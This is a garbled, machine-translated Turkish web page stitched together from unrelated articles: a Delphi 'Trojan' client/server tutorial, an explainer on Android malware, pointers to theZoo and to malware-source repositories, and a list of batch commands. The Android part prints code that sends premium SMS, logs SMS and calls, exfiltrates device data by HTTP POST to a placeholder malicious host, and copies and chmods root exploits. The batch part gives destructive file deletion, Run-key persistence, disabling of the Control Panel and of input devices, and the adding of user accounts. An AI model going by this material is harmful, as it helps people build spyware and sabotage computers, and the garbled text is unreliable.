Çıkış koduyla virüs enfeksiyonları. Virüs kodlu virüs kodları Virüs kodunu öğrenin

“Program sunucusu - istemci” nasıl yazıldığına ve gerçek bir uygulamada nasıl çalıştığına hayran kalacağınız için yazıyı sonuna kadar okumanızı tavsiye ederim. İyi olacak!

Ama Delphi'de yazmak istediğim program! Yani küçük ama gerçek bir popo için daha basit ve daha uygundur. Neden sanki bir şey tahmin etmişim gibi müstehcen "" kelimesini atlıyorum, o zaman burada, etkili bir şekilde, çok az kullanışlı işlevi olan veya hiç olmayan gerçek bir Truva atı olduğu ortaya çıkıyor.

Arkasında hangi prensibin yazıldığını biliyor musunuz? "Ve ortada ne kötü bir koku var!" Ale, aşağıda anlatılacağı gibi sadece “ALE” Trojanları yazılmamalıdır. Kıçımızdaki kırıklar" sunucu»Partina programı son derece önemli olacak ( Bu gerçek bir Truva atı için hoş bir durum değil) ve sisteme kabul edilmeyeceğiz. Gerçek “tek kullanımlık PZ” biraz farklı olacak.

Programın sunucu kısmı küçük boyutta yani yaklaşık “100 KB” artı eksi kaç KB geliştirilecek şekilde tasarlanmış. Ve onu sisteme dahil edin ki uzun süre şaka yapmak zorunda kalsın! ...

Hepsi aynı, büyüme prensibi aynı! Ve bu örnek, "Sunucu - İstemci" ilkesine dayalı programlarla nasıl çalıştığımı anlamak için idealdir. Bir Truva Atı'nı incelemek için doğru tona sahip değiliz, ama neye ihtiyacımız var? Sağ. HAYIR !!! Biz iyi adamlarız ve zorbalık yapmayacağız!

“Sunucu - İstemci” ilkesine dayalı programlar nasıl çalıştırılır

Basitçe ve özetle resim şuna benzer: Bilgisayarınızda " müşterinin"Programın bir kısmı, kural olarak, istemci arayüzüne benzer bir "GUI"ye sahiptir (istemci bir konsol olmadığı için)

Erişimi iptal etmek istemeden önce bilgisayarda “ sunucu“Programın bir parçası, başka birinin bilgisayarında aynı bağlantı noktasını açıyor ve sistemde görünmüyor.

Bu port üzerinden bağlantı kurulur.İstemcide sunucunun çalıştığı bilgisayarın portunu ve IP adresini belirtirsiniz, sunucuya bağlanırsınız ve başkasının bilgisayarındaki işlemleri kendi bilgisayarınızdan güvenli bir şekilde indirebilirsiniz! Ayrıca son yazımı okuyabilir ve öğrenebilirsiniz:

Bunu burada açıkladıktan sonra bir şekilde basit insan doğamı anladığıma eminim! Açık değilse, pratikte her şey netleşecektir! Şimdi küçük Truva atımızın devamı olarak uzaktaki bilgisayarda ne tür şeyler yapacağımı bulalım!

Sunucu - İstemci programının bu uygulamasındaki işlevsellik nedir?

Dürüst olmak gerekirse, sarhoş göründüğümü ve sorunun ne olduğunu çözemediğimi göstermek için hangi aşamada olayı büyütsem! Diyelim ki işlevsellik olabildiğince basit, korku kadar basit olacak:

- Koristuvach bilgilerinizi kabul edecektir.

Anlamlara başka olasılıklar eklemek istemiyorum. Dolayısıyla bunun pratik amaçlar ve anlayış açısından tamamen yeterli olduğuna saygı duyuyorum. Yani bence çok fazla kod yazmak iyi değil, sonra ne düşükse, o zaman ortadaki programa hayret etme zamanı!

Ve bu arada, Truva atı yazmak isteyen ve dolayısıyla programda bunu bilen kişilerin hayalinde yatmak sorun olmayabilir.

Peki, böyle bir şakamız olacak! Bilgisayar başında oturan bir kişi isteksizce bilgiyi reddeder; örneğin

« Merhaba, bilgisayarınızın başında takılıyorum»

İnsanların tepkisini tespit edebiliyor musunuz? Bence çok komik, keşke daha iyisini yapabilseydim!!!

“Sunucu - İstemci” prensibine dayalı programların geliştirilmesi

Sonunda bitene kadar başlayalım! Gelişmelerden şunu anlıyorum: sunucular“Bundan sonra yeni bir müşteri için yazacağız! Program kodunu açıklamayacağım, sadece belirteceğim sonuçta programlama ile ilgili bir blogum yok, bu meta yazı “Sunucu - İstemci” üzerinde benzer programların geliştirilme sürecini adım adım gösterecek. ”platformu.

Sunucu Arızası!

Öncelikle, "Sunucuya" bilgisayardaki belirli bir bağlantı noktasını açmayı öğretmeniz gerekir, böylece başka bir "İstemciye" bağlanabilirsiniz ve ardından komutları nasıl kabul edeceğinizi ve herhangi bir dosyayı PC'ye nasıl kaydedeceğinizi öğrenebilirsiniz.

Bağlantı noktası acı verici derecede basit bir kod kullanılarak açılır:

Delphi/Pascal

prosedür TForm1.FormCreate(Sender: TObject); ServerSocket1.Port'u başlat: = 666; ServerSocket1.Active: = doğru; son;

prosedür TForm1. FormCreate(Gönderen: TObject);

başlamak

SunucuSoket1. Bağlantı noktası: = 666;

SunucuSoket1. Etkin: = doğru;

son;

Artık bir programı başlattığınızda, herhangi bir düğme veya başka öğe olmadan boş olarak görünecektir. Ve en önemlisi bilgisayarda “666” numaralı açık bir port olacak. Sunucuya bu porta komutlar göndereceğiz ve daha sonra bunları işleyeceğiz.

Bu arada sunucunun ne çalıştırdığına ve portun açık olduğuna bakalım, “netstat” komutunu tahmin edin ve şaşırtıcı bir sonuç elde edin.

Bir bilgisayarda olduğu gibi, programımızı başlattıktan sonra “666” numaralı açık bir port olacaktır. sunucu»Lütfen bu bilgiyi kabul edin.

Delphi/Pascal

prosedür TForm1.ServerSocket1ClientRead (Gönderen: TObject; Soket: TCustomWinSocket); var iletişim: dize; İletişimi başlat: = soket.ReceiveText; copy (komm, 1,12) = "MESSAGE_TEXT" ise Sil'e başlayın (komm, 1, 12); ShowMessage(iletişim); son; son;

prosedür TForm1. ServerSocket1ClientRead(Gönderen: TObject;

Soket: TCustomWinSocket);

iletişim: dize;

Başlamak

iletişim: = soket. Metin Al;

kopya (komm, 1, 12) = "MESSAGE_TEXT" ise o zaman

başlamak

Sil (komm, 1, 12);

ShowMessage(iletişim);

son;

son;

İşte, sırayla ilerleyin! Sunucu “MESSAGE_TEXT” adlı bir komut alacaktır ( Adı her ne ise o olabilir) Daha sonra “ShowMessage” prosedürü yürütülür ve komutla birlikte gelen ve “komm” dize değişkeninde saklanan bildirimi gösterir.

Açıkçası, bildirimin metni şu adresten yazılacaktır: " müşteriler"Ve bir çeşit misilleme olabilir!"

Başka bir deyişle hangi gelişme üzerine " sunucu»Parçalar tamamlandı. Sonuç olarak benzersiz bir dosyamız var” Sunucu.exe“Ve şimdilik, yazana kadar bunu bir kenara bırakalım” müşteri»

Müşterinin tanıtımı!

İstemci, iyi bir nedenden ötürü, grafik kullanıcı arayüzünü (GUI) kullanacak ve kontrollerden, düğmelerden ve giriş alanlarından sorumlu olacaktır. Eksemelim şuna benziyor:

Tüm unsurlarıyla önemli! Göründüğü gibi bu kadar mantıklı olmak istiyorsam her olayı açıklayacağım.

IP: IP bilgisayarına girme, sunucuyu başlatma alanları.
Liman: Hangi sunucunun asılacağı bağlantı noktası numarasını belirtin.
- Bağlamak: Sunucuya bağlanmak için kullanılan düğme.
- Duyuru metni: Gönderilmesi gereken bilgilerin girileceği alandır.
- Bir bildirim gönder...: Bu, bildirim göndermek için kullanılan bir düğmedir.
- Bağlantı durumu: Burada herhangi birinin bağlanıp bağlanmadığını öğreniyoruz!

Delphi/Pascal

prosedür TForm1.Button1Click(Sender: TObject); ClientSocket.Host'u başlat:= IP.Text; ClientSocket.Port: = StrToInt(Port.Text); ClientSocket.Open; son;

prosedür TForm1. Button1Click(Gönderen: TObject);

başlamak

ClientSocket. Ana bilgisayar:=IP. Metin;

ClientSocket. Bağlantı Noktası: = StrToInt(Port.Text);

ClientSocket. Açık;

son;

Programı hemen başlatabilir ve “ sunucular“Sonucunu bilmesek de kimse bağlantı kuramadı. Kontrol etmeden önce bunu düzeltebiliriz ve program bağlantının sonucunu göstermeye başlayacaktır.

Delphi/Pascal

prosedür TForm1.ClientSocketConnect (Gönderen: TObject; Soket: TCustomWinSocket); begin Label4.Caption: = ("Bağlantı şu ana kadar başarısız oldu:" + IP.Text); Label4.Font.Renk:=clYeşil; son;

İşte bu yüzden herkes sunucuya bağlanamadı, örneğin çünkü " sunucu"Uzak bilgisayar çalışmıyor ve "666" bağlantı noktası kapalı.

Delphi/Pascal

Prosedür TForm1.ClientSocketError (Gönderen: TObject; Soket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); ErrorCode = 10061 ise başlayın, ardından ClientSocket.Active'i başlatın: = False; Label4.Font.Renk:=clKırmızı; Label4.Caption: = ("Bağlantılar başarısız oldu:" + IP.Text); HataKodu: = 0; son; son;

prosedür TForm1. ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;

ErrorEvent: TErrorEvent; var ErrorCode: Tamsayı);

başlamak

HataKodu = 10061 ise o zaman

başlamak

ClientSocket. Etkin: = Yanlış;

Etiket4. Yazı tipi. Renk:=clKırmızı;

Etiket4. Başlık: = ( "Bağlantılar başarısız oldu:"+IP. Metin);

HataKodu: = 0;

son;

son;

Şimdi programın nasıl çalıştığını merak ediyorum. Başlangıç ​​olarak, bağlananlar hakkında bildirimlerin görüntülenip görüntülenmeyeceğini kontrol etmek için istemciyi başlatıyoruz, ancak sunucuyu başlatmıyoruz.

Çeşitli anti-virüs laboratuvarlarından ücretsiz Android eklentileri koleksiyonunun halihazırda 10 milyondan fazla ziyareti var. Bu rakam açık ama bunların yaklaşık 9 milyon 995 bini orijinal virüslerin kopyaları olarak yeniden adlandırılıyor. Çıkış kodunu analiz ederseniz ve on binlerce kötü amaçlı yazılım ifadesini kaybettiyseniz, bunların hepsinin az sayıda benzersiz işlevsel blokla (birkaç varyasyon ve farklı şekillerde birleştirilmiş) birleştirildiğini fark edebilirsiniz.

Sağdaki her şey, oyun yapımcılarının çoğunlukla önemsiz görevleri takip ettiği yönünde:

  • mesajı ücretli bir numaraya gönderin;
  • müşterinin gizli bilgilerini (telefon numaraları, bildirim metinleri, SD karttaki veriler vb.) yakalamak;
  • virüslü cihaz hakkında veri toplamak;
  • cihaz üzerinde yönetim hakları elde etmek (yetkili izni olmadan eklenti yüklemek veya cihazı kötü niyetli olarak devre dışı bırakmak);
  • İnternet bankacılığı sistemlerinin web sitelerine girdiğiniz kullanıcı adlarını, şifreleri ve ödeme kartı verilerini girin. Kokuyu nasıl durdurabilirsin? Mobil oyun yapımının kasvetli dünyasına girmeye çalışalım ve orada ne olduğuna hayret edelim.

SMS gönderme

Vikorist kim:

  • ReklamSm'ler;
  • Sahte Oyuncu;
  • Suaygırları.

En yaygın virüs türü SMS Truva Atlarıdır. Bu virüsler müşteriye ihtiyaç duymadan sadece ücretli numaralara bildirim gönderiyor. Böyle bir program oluşturmak veya hazır bir programı gerekli sayıda yeniden yazmak oldukça kolaydır. Bu, sınır affının faydalarından yararlanma sürecidir - idare açısından, örneğin banka verilerinin güncellenmesi sürecinde.

Aşağıda kodun en basit örneği verilmiştir. SMS göndermek için önemli bir işlev. Bu, gönderme durumunu kontrol ederek, abonenin bulunduğu yerdeki numaraları seçerek ve ayrıca SMS göndererek karmaşık hale gelebilir.

Özel statik SendSms (String DestNumber, String SmsText) (// SmsManager nesnesinin sendTextMessage yöntemini (akış cihazına SMS göndermek için standart bir program) minimum sayıda parametreyle çalıştırmayı deneyin: sahip numarası ve mesaj metni try ( SmsManager.get Default().SendTextMessage (DestNumber, null, SmsText, null, null); return true;))

Virüs kodunu söyle

Çoğu durumda, eklentilerin yüklenmesi yoluyla telefona virüs bulaşır. Android için herhangi bir eklenti, özünde bir arşiv olan genişletilmiş apk'ye sahip bir dosyada görülebilir. Bunun yerine Android SDK'yı, APK'dan JAR'a dosya dönüştürücüyü ve Java bayt kodu kod çözücüyü kullanarak buna bakabilirsiniz. Eklenti kiti (APK) aşağıdaki parçalardan oluşur:

  • Resources.arsc - kaynak tablosu;
  • res (klasör) - kaynaklarınız (simgeler ve daha fazlası);
  • META-INF (klasör) - dosyaları geçerli konuma yerleştirin: kaynak kontrolleri, program sertifikası ve APK oluşturma açıklaması;
  • AndroidManifest.xml - her türlü hizmet bilgisi. Ayrıca eklentinin doğru çalışması için kurulumdan önce gerekli olduğuna dair izin verilir;
  • class.dex - Android işletim sistemlerinde tüm kodların, orijinal Java bayt kodunu anlamayan Dalvik sanal makinesi (sürüm 4.4'ten başlayarak, ART desteği görünür) kullanılarak derlendiğini hissedebilirsiniz. Bu nedenle dex uzantılı dosyalar oluşturmanız gerekir. Bu durumda, bir dizi gerekli ve yararlı sınıf (eklentinin işlevselliğini gösteren) vardır ve ayrıca tehlikeli olanlar da vardır (bu makalede incelediğimiz virüs kodu).

Müşteri bilgilerini metin dosyasına kaydetme

Vikorist kim:

  • NickySpy;
  • SmsSpy.

Bu, müşterilerin kişisel verilerini hedef alan ana virüs kategorisidir. Eylemlerinin mekanizması da gariptir. Yaratıcınızın dosyalarını sunucuya yükleyin veya önce verileri txt (CSV, XML - her neyse) biçiminde toplayın. Suçluların ilgisini çeken her türlü iletişim, çeşitli anlık mesajlaşma programlarından alınan bilgiler, medya dosyaları vb. olabilir.

Virüs bulaşmış muhabirlerden gelen SMS mesajları, yöneticilerinin ve sahiplerinin telefon numaraları açısından özellikle değerlidir; bunlar, spam yakıt ikmali yapanların tabanını genişletmek için kullanılabilir. Çoğu zaman, bu tür virüsler belirli özelliklere sahip cihazlara bulaşmak için kullanılır - bir dahaki sefere kız arkadaşınız sizden yazdıklarına itiraz etmenizi isterse (ah, caramba! - Ed.) Android'deki eklenti, yapmayın zamanını boşuna harcamak :).

// Cihazdaki SMS mesajı sayısı önemlidir arrayOfObject = (Object) localBundle.get ("pdus"); int j = arrayOfObject.length; // Her SMS'de döngü i = 1 while (true) (if (i> = j) break; // Bir SMS bildirim nesnesi oluşturun SmsMessage localSmsMessage = SmsMessage.createFrompdu ((byte) arrayOfObject [i]); / / Yerleştirin bir satır gönderenin numarasını, metnini ve SMS gönderme saatini String MesajNumber = localSmsMessage.getOriginatingAddress (); String MesajText = localSmsMessage.getDisplayMessageBody (); long l = localSmsMessage.getTimestampMillis (); Date localDate = new Date (l); String messageTimeDate = new SimpleDateFormat ("yyyy-AA-gg SS: dd: ss"). format (localDate); // Bu verilerden bir satır oluşturabilir ve WriteRec yöntemini kullanarak bunu bir metin dosyasına yazabiliriz String MesajInfo = 7MessageNumber + " #" +MessageText + "#" +MessageTimeDate + ";" WriteRec (paramContext, "sms.txt",MessageInfo); // Gelecek bildirime git i + = 1;) Spam listesini şu adresten manuel olarak da alabilirsiniz: abonenin tıklama geçmişi. Giriş çaldığında aşağıdaki kod başlatılabilir: If (parmIntent.getAction (). Equals ( "android.intent.action.NEW_OUTGOING_CALL")) (// Abone numarasını girin String telefon numarası = paramIntent.getStringExtra ( "android. Intent.extra.PHONE_NUMBER "); // Bir dizi sayı ve çağrı tarihi oluşturuyoruz String PhoneCallRecord = telefonnumarası +" # "+ getSystemTime (); // WriteRec() yöntemini çağırıyoruz (kodu buraya girmeyin), bu seriyi bir metin dosyasına ekler Çağrı geçmişi WriteRec (paramContext, "phonecall.txt", PhoneCallRecord);)

Bilgiler kaydedildikten sonra “gerekli kişilere” iletilir. Aşağıdaki koda tıkladığınızda sunucuya yapılan çağrıların geçmişi görüntülenir:

Özel void uploadPhonecallHistory () IDException'ı atar (while (true) (return; // Hangi dosyaya ihtiyacımız olduğunu kontrol ediyoruz if (! FileIsExists (/data/data/spyapp.pg/files/phonecall.txt ")) devam ediyor); // bir oluşturma nesne - dosya yükleme UploadFiles localUploadFiles = new UploadFiles (); String uploadkeynode = getKeyNode ("uid", "uid_v"); // Dosyayı "virüs oluşturucuya yüklemek için method.advanceduploadfile dosyasını çalıştırma (kodu buraya girmeyin) " sunucu localUploadFiles.advanceduploadfile(uploadkeynode, "/data/data/spyapp.pg/files/phonecall.txt");))

Bilgi toplanması

Vikorist kim:

  • DroidKungFu;
  • DroidDream;
  • Önemli olan, tüm benzer kötü amaçlı yazılımların çok sayıda olmasıdır.

Prensip olarak herhangi bir virüs üreticisi, cihazlarına programların bulaştığına ilişkin bilgilerden faydalanacaktır. Ondan kurtulmak gerçekten çok kolay. Telefonun gücüyle ilgili bir dizi veri oluşturulur (bunların tam listesi Android dağıtım veritabanında bulunabilir) ve POST tarafından kötü amaçlı sunucudaki bir PHP betiğine (ilkesiz) gönderilir; bu komut, verileri işleyerek veri tabanına yerleştirir. daha fazla vikoristan için veritabanı haraçları.

Özel void reportState (int paramInt, string paramString) (// Bir dizi oluşturun ve onu yeni bir hizmet bilgisine yerleştirin ArrayList UserInformation = new ArrayList (); UserInformation.add (new BasicNameValuePair ( "imei", this.mImei)); UserInformation .add ( new BasicNameValuePair ("taskid", this.mTaskId)); UserInformation.add (new BasicNameValuePair ("state", Integer.toString (paramInt))); // Eğer fonksiyon "paramString (comment)" parametresine sahipse , і yogo if (paramStrng !=null) && (! "". equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); dizisini içine koyun // Verileri toplayan betiğin adresiyle bir HTTP POST oluşturun HttpPost localHttpPost = new HttpPost ("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try (// Veri içeren dizimizi ekleyin ve onu standart HTTP istemcisine ekleyin localHttpPost.setEntity (new UrlEncodeFormEntity (UserInformation, "UTF-8"))); yeni DefaultHttpClient(). çalıştır(localHttpPost).getStatusLine.getStatusCode(); geri dönmek; ))

Kızgınlık

Vikorist kim:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Bir Android cihazın başına gelebilecek en kötü şeylerden biri virüsle root atmaktır. Bu kötü programdan sonra bile istediğiniz zaman onunla çalışabilirsiniz: diğer virüsleri yükleyin, donanım ayarlarını değiştirin. Eylem, istismarların sıralı olarak başlatılmasına dayanmaktadır:

Özel void RootFunc () (ApplicationInfo localApplicationInfo = getApplicationInfo (); / * "ratc", Rage Against The Cage'in ünlü kök istismarının bir kopyasıdır. Kiall, tam ek tarafından başlatılan tüm işlemlerin köküdür. Gjsvro, aşağıdakiler için bir istismardır: udev haklarının kazanılması (donanım ve kenar arayüzleriyle ileri düzeyde çalışma için Linux sistemlerinde zafer) Her şey doğru yere kopyalanır * / Utils.copyAssets (bu, "ratc", "/data/data" + localApplicationInfo.packageName + "/ratc "); Utils .copyAssets(this, "killall", "/data/data" + localApplicationInfo.packageName + "/killall");Utils.copyAssets(this, "gjsvro", "/data/data" + localApplicationInfo.packageName) + "/gjsvro "); // Ek komut satırını kullanarak çalıştırıyorum Utils.oldrun (" / system / bin / chmod "," 4755 /data/data"+localApplicationInfo.packageName + "/ ratc"); Utils.oldrun ( "/system/ bin/chmod", "4755/data/data"+localApplicationInfo.packageName+"/killall");Utils.oldrun("/system/bin/chmod", "4755/data/data"+localApplicationInfo. package eName+" /gjsvro"); yeni MyTread.start(); )

Mobil kötü amaçlı yazılımlarla ilgili web siteleri

Kasperskiy Lab uzmanlarının blogu Bu kaynak, Android virüsleri de dahil olmak üzere bilgisayar güvenliğinin birçok yönü hakkında açık ve bilgilendirici makaleler içerir. En son haberlerden haberdar olmak için lütfen bu siteyi düzenli olarak ziyaret edin.

Grup, Android eklentilerinin koduyla (DEX / ODEX / APK dosyalarının derlenmesi ve değiştirilmesi vb.) Her türlü manipülasyon için açık kaynaklı bir araca adanmıştır. Androguard ayrıca virüslerle ilgili geniş bir makale veritabanına sahiptir. İşlevsellik ve koruma yöntemlerine ilişkin kısa genel bakışların yanı sıra, kötü amaçlı yazılım kodunun analizine ilişkin raporlara da odaklanılıyor.


www.fortiguard.com Telefon Virüsleri Ansiklopedisi'nde Mobil Tehditler bölümü. Cilt durumu - önemli sayıda teknik ayrıntıyla tamamlanan işlevselliğe bir bakış. Buna Android işletim sistemine yönelik tehditlerin yanı sıra Symbian OS, iOS ve diğer platformlara yönelik istatistikler ve virüsler hakkında bilgiler dahildir.


Virüs koruması

İşletme sahipleri, Google Play'den eklentiler indirip akıllı telefonunuza bir antivirüs yüklemeniz durumunda bunun güvenliği garanti edeceğine inanıyor. Endişelenmeyin: Merezhi, resmi pazardaki kötü amaçlı yazılımların varlığı hakkında düzenli olarak bilgi sağlar. Ve yeni, zararlı programların sayısı ayda yüzbinleri buluyor ve bu da bunların anti-virüs programlarının veritabanlarında kaybolma olasılığını artırıyor. APK dosyasını telefonunuza yüklemeden önce kodunu inceleyerek gerçek bir güvenlik garantisi verebilirsiniz. Kötü parçaları işaretlemek için kodlama gurusu olmanıza gerek yok. Ve makalemiz bu konuda size yardımcı olacaktır.

Visnovok

Uygulamalarda olduğu gibi mobil yazılımda da teknolojik katlanabilirlik sorunu yaşanmaz. Tabii ki, bu uygulamalar derginin formatı için basitleştirilmiştir - her şeyden önce örnekleyicilerin ve kapatmaların kullanımı ve diğer teknik ayrıntılar, bunların sayısı Android kötü amaçlı yazılımın ilkelerini anlamanızı engellemez. ve deney gerektirmemesini sağlamak için. Virüs oluşumunu bile desteklemiyoruz, değil mi? 🙂

Çıkış kodunu ve rapor açıklamasını içeren virüs kodlarını nereden indirebilirim?

Güncel virüslerin bir koleksiyonunu ve hatta daha fazlasını açıklamalar ve kodlarla bulmak kolay bir iş değildir. Analiz ve tedavi için tarafımıza zaten bilgi verildi. Bugün size bulup indirebileceğiniz bir cihazdan daha bahsedeceğim ama bu sefer ortada bulunan sadece kötü amaçlı yazılım değil, güncel dosyalar ve dosyalar. Raporlama bilgileri içeren virüs kaynakları.

Bu makalede, tüm Truva atlarının, botnetlerin, Stiller'ların, solucanların vb. çıktı kodlarını ışığa çıkarmaya çalışan birkaç yararlı proje hakkında bilgi edineceksiniz.

  • Peredmova
  • Virüslerin hafta sonu metinleri
  • Hayvanat Bahçesi projesi
  • Kötü amaçlı yazılım projesi

Haberler ve virüs enfeksiyonlarına kimin ihtiyacı olabilir?

Vikonuvani Dosyaları I Vikhidni Virusv, sistemlerde Vivchennya Vedvyni Virusv için (dosya sistemlerinin izlenmesi, süreçler) ib testi Anti -Riririv için analiza teknolojisi vicoristovani shkіdlivim PZ'yi bilebilir. Anti-virüs şirketlerinin casus yazılım uzmanları, yeni virüsün tohum kodlarını ele geçirmek için kuruşlar ödemeye hazır.

Virüs edinmek yasal mı?

Bilgisayarınızda enfeksiyon ve analiz için virüs enfeksiyonlarını yakalayabilirsiniz, ancak bunları yayıp başkalarına bulaştıramazsınız. Bununla ilgili daha fazla ayrıntı Rusya Federasyonu Kanunu'nun 273. maddesinde bulunmaktadır.

Bu projelerin metası, anti-virüs şirketleri ve virüsleri analiz eden, cihazı kötü amaçlı kötü amaçlı yazılım kodu için kullanan kişiler için tarihlerdir.

Saygı! Lütfen indirilen dosyaların çalışan virüsler içerdiğini unutmayın. Bazıları bilgisayarınıza bulaşabilecektir. İndirdiğiniz dosyaları asla ana bilgisayarınızda çalıştırmayın. Ayrıca, işe yaramaz programların analizi konusunda özel bilgi sahibi olmadan virüs edinmenizi de önermiyorum.

Şans eseri www.site web sitesi, sizin veya başkalarının bilgisayarlarına vereceğiniz zararlardan dolayı hiçbir sorumluluk taşımamaktadır.

Vikoristovvat'ı şiddetle tavsiye ederim. Yayılacak ve sanal makineden kaçacak kötü solucanları unutmayın. Bunu benzersiz kılmak için sanal makinelere tüm konuk eklemelerini, sınırlı erişimi vb. etkinleştirmek istiyorum. Nasıl kazanılacağını gönderilen mesajdan öğrenebilirsiniz.

Haftalık virüs metinleri: theZoo Project

Hayvanat bahçesi olarak nitelendirilen (yazarların mizahı güzel) Zoo projesine bir göz atalım. Githab deposunda kontrol edin.

Proje virüs enfeksiyonunu erişilebilir hale getirmeyi amaçlıyor. Yazarlar virüs veritabanını toplar ve günceller. TheZoo'nun yardımıyla ücretsiz PZ'nin popüler görsellerine erişimi engelleyebilirsiniz.

Virüsler: Hayvanat Bahçesi Projesi

İndirme ve indirme için hem indirilen dosya hem de çıktı dosyası görüntülenir.

Hayvanat Bahçesi'nden nasıl faydalanırsınız?

TheZoo projesini farklı şekillerde kullanabilirsiniz: doğrudan siteden veya ek çerçeve aracılığıyla. Hücumlara iki açıdan bakacağız. Önce bitirelim.

Şimdi siteye gidip bir dizi dizin ve dosyayı görelim.

İçerdiği virüs dosyaları katalozda bulunur:

theZoo/kötü amaçlı yazılımlar/İkili dosyalar/

İndirilen virüs dosyasını burada bulacaksınız. Her dosya için 4 dosya içeren bir dizin oluşturun: ZIP arşivindeki şifrelenmiş formdaki en tehlikeli yazılım, SHA256 ve MD5 - kimlik doğrulama için arşiv kontrolleri ve şifrelenmiş arşiv için bir parola.


İndirilen virüs dosyaları: Androrat Truva Atı

Virüs kodu katalozda bulunur:

theZoo/kötü amaçlı yazılımlar/Kaynak/Orijinal/

Kutanöz katalizin dosyaya birçok benzerliği vardır. Her şey derlenmiş dosyalarla aynıdır.


Virüs metinleri: Dendroid Truva Atı

Cildin çevre bölgesinde bir iyileşme söz konusudur ancak iyileşmeyi hızlandırmak için bir çerçeve kurmak gerekir.

Zoo çerçevesini yüklemek için aşağıdaki komutu kullanın:

git klonu https://github.com/ytisf/theZoo

Vimogi: urllib2, python3

Komutlar: ara, kullan, al, bilgi, tümünü listele, rapor-mal, güncelleme-db, çık. Yardım komutunun arkasındaki komutlar hakkında daha fazla ayrıntı.

Bu projeyi bitirdik, şimdi başka bir projeye bakalım.

Virüs Manzaraları: Kötü Amaçlı Yazılım Projesi

Kötü Amaçlı Yazılım projesi şu anda Githab'ta çalışıyor. Virüslerin seçimi bir hayvanat bahçesindeki kadar iyi değildir, ancak daha sık güncellenmektedir. Az sayıda kötü amaçlı program arasında Truva atlarının, botnet'lerin, bilgisayar korsanlarının, şifre çalanların ve diğer güzelliklerin çıkış kodlarını bulabilirsiniz.

Bugünkü eksen listesi:

  • Alina Spark (Troyan)
  • Kanama Ömrü 2 (Expol paketi)
  • Carberp (Botnet)
  • Carberp (Bankacılık Truva Atı)
  • Crimepack 3.1.3 (Kullanım paketi)
  • Dendroid (Android için Truva Atı)
  • Dexter v2 (Truva Atı)
  • Eda2, Stolich, Win32.Stolich (Zdirnik)
  • FlexiSpy (Shpigunske yazılımı)
  • (Çerçeve)
  • GMBot (Android Truva Atı)
  • Gozi-ISFB - (Bankacılık Truva Atı)
  • Grum (Spam botu)
  • RCS Ekibini Hacklemek ()
  • Gizli Gözyaşı (Zdirnik)
  • KINS (Bankacılık Truva Atı)
  • Mirai (Konuşmaların İnternetinin Botnet'i)
  • Pony 2.0 (Şifre hırsızı)
  • Güç Yükleyici (Botnet)
  • RIG Ön Uç (Kullanım paketi)
  • Rovnix (Butko)
  • Tinba (Bankacılık Truva Atı)
  • TinyNuke (Bankacılık Truva Atı)
  • Trochilus, Kırmızı Yapraklar (RAT)
  • Zeus (Bankacılık Truva Atı)

Virüs kodu: Kötü amaçlı yazılım projesi

Örneğin Alina Trojan klasörüne gidelim. Burada sonuncusu da dahil olmak üzere bir dizi dizinle tanışıyoruz. Ayrıca alt kısımda yazarlar haksız bilgi için mesaj göndermişlerdir.

komut ekseni
assoc .exe = .mp3-Yöneticiler müzik şirketi E gibi başlatılır: pridurok-change gwent to idiot time 00:00 -change hour
tarih 03.13.36-tarihi değiştir assoc .lnk = .txt-txt dosyasındaki etiketleri değiştir kopya% 0 F: \ Work.bat-bir nesneyi kopyalama

1) Bir flash sürücüdeki dosyaları (takılı olduğu haliyle) silmek ve yeniden adlandırmak için bir program.
delF:\*. */Q
etiket F: HACK
2) Bilgisayarınızdaki tarih ve saati değiştirip C sürücüsüne ve flash sürücüye kopyalamaya yönelik bir program.
saat 14:13
tarih 11.07.12
kopya%0 C:\Time.bat
kopya%0 F:\Time.bat
----------
> Nul-hook satır komutu
% SystemRoot% / system32 / rundll32 user32, SwapMouseButton - fare tuşlarını değiştirir
---------------
""%0"" "%SystemRoot%\system32\File.bat" dosyasını kopyala
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Dosya" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
En güçlü ekip: Programın Otomobil İşletim Sistemine eklenmesi.
"Del x:\y*. * / Q" - y klasöründeki (klasörler dahil) x sürücüsündeki tüm dosyaları görün (del F: \ Data *. * / Q);
“Net kullanıcı “x” / ekle” - öğrencinin bilgisayarına x adı altında ekleyin (popo net kullanıcısı “Füme” / ekle);
Virüsümüzün kulağına “@Echo off” girilir ve her şeyi alır
rundll32 kullanıcısı, devre dışı bırakma katmanı - sistem çökmesi (!) - tüm giriş ve çıkış işlevlerini (klavye, ekran, fare) devre dışı bırakın. Sonuç olarak, imleçli siyah bir ekran oluşacak ve sistem hiçbir şeye yanıt vermeyecek, ancak Windows çalışmaya devam edecek.
del *. * /q (bu komutu çalıştırdıktan sonra virüsün başlatıldığı bu klasörde bulunan klasörler dışındaki tüm dosyalar silinecektir!!!
md 1 klasörlü klasör
Dosyayı Windows tarafından indirildiğinde çalıştırmak için dosyayı Autoexec.bat olarak yeniden adlandırın.
Echo Virus Yükleme-ekrana yazma virüsü Lodin
del c: Program Files / q (bu klasördeki tüm dosyaları görüntüler)
reg - kayıt defterinin bulunduğu robotun ortası. Divitisya reg /? herkes!
rcp - ascii'de rcp aracılığıyla dosya alışverişi
runas - koristuvach adına
görev listesi - kendisiyle ilişkili programları ve oturumları görüntüler.
Taskkill - bir veya daha fazla işlemi sonlandırmanıza olanak tanır
tftp - önemsiz ftp
tskill - süreci sonlandır
reg - kayıt defteriyle etkileşimde bulunmak için bir yardımcı program
bootcfg - boot.ini ayarları
ekleme - uzak dosyaları akışta olmadan açmanıza olanak tanır.
getmac - otrimati mas
logoff - İstemci oturumu için atamaları sonlandırın.
mem - RAM'deki mevcut işlemlerle ilgili bilgilerin ekran görüntüsü
mqbkup - arşiv
netsh - ??
openfiles - açık dosyaları görüntüleyin.
rsh - rsh çalıştıran uzak düğümlerdeki komutların wiki'si
sc - komut satırı ??
rexec - rexec çalıştıran uzak düğümlerdeki komutların wiki'si
kapatma - viknuti (hehe) yerel veya uzak bilgisayar.
